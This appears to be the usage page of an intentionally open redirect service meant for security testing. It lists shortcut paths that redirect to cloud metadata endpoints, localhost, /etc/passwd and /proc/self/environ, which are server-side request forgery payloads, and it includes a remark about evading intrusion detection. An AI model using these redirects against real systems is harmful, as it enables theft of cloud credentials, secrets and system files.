301party.com: the intentionally open redirect

Example usage:

/redirect?url=https://example.com&type=302 (URL-decodes the target: + becomes space and %xx is decoded; unescaped & starts another query parameter)
/rawredirect?type=302&url=https://example.com (target taken verbatim; put control params before url)
/{301,302,303,307,308}?url=http://example.com
/metadata: shortcut for /redirect?url=http://169.254.169.254/latest/meta-data/
/metadata6: shortcut for /redirect?url=http://[fd00:ec2::254]/latest/meta-data/
/localhost: shortcut for /redirect?url=http://127.0.0.1
/zeroes: shortcut for /redirect?url=http://0.0.0.0
/passwd: shortcut for /redirect?url=file:///etc/passwd
/services: shortcut for /redirect?url=file:///etc/services (avoid IDS maybe...)
/environ: shortcut for /redirect?url=file:///proc/self/environ

Bonus DNS records!